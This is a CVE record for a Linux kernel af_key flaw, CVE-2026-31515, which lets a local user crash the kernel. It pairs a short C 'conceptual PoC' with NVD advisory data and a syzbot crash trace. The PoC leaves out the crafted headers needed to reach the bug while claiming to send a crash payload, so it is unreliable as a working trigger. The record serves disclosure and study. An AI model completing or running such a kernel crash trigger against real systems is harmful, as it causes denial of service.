CVE-2026-31515

/* * Conceptual PoC for CVE-2026-31515 * Trigger skb_over_panic in pfkey_send_migrate via invalid family */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/pfkeyv2.h> int main() { int fd; char buffer[256]; struct sadb_msg *msg = (struct sadb_msg *)buffer; fd = socket(AF_KEY, SOCK_RAW, PF_KEY_V2); if (fd < 0) { perror("socket"); return 1; } memset(buffer, 0, sizeof(buffer)); msg->sadb_msg_version = PF_KEY_V2; msg->sadb_msg_type = SADB_X_MIGRATE; msg->sadb_msg_len = sizeof(buffer) / 8; // Crafted message to trigger the vulnerability path // Specific headers required to reach set_ipsecrequest with truncation if (write(fd, buffer, sizeof(buffer)) < 0) { perror("write"); } else { printf("PoC payload sent. Check dmesg for crash.\n"); } close(fd); return 0; }

{"cve": {"id": "CVE-2026-31515", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T14:16:50.940", "lastModified": "2026-04-28T16:20:43.873", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\naf_key: validate families in pfkey_send_migrate()\n\nsyzbot was able to trigger a crash in skb_put() [1]\n\nIssue is that pfkey_send_migrate() does not check old/new families,\nand that set_ipsecrequest() @family argument was truncated,\nthus possibly overfilling the skb.\n\nValidate families early, do not wait set_ipsecrequest().\n\n[1]\n\nskbuff: skb_over_panic: text:ffffffff8a752120 len:392 put:16 head:ffff88802a4ad040 data:ffff88802a4ad040 tail:0x188 end:0x180 dev:<NULL>\n kernel BUG at net/core/skbuff.c:214 !\nCall Trace:\n <TASK>\n skb_over_panic net/core/skbuff.c:219 [inline]\n skb_put+0x159/0x210 net/core/skbuff.c:2655\n skb_put_zero include/linux/skbuff.h:2788 [inline]\n set_ipsecrequest net/key/af_key.c:3532 [inline]\n pfkey_send_migrate+0x1270/0x2e50 net/key/af_key.c:3636\n km_migrate+0x155/0x260 net/xfrm/xfrm_state.c:2848\n xfrm_migrate+0x2140/0x2450 net/xfrm/xfrm_policy.c:4705\n xfrm_do_migrate+0x8ff/0xaa0 net/xfrm/xfrm_user.c:3150"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, 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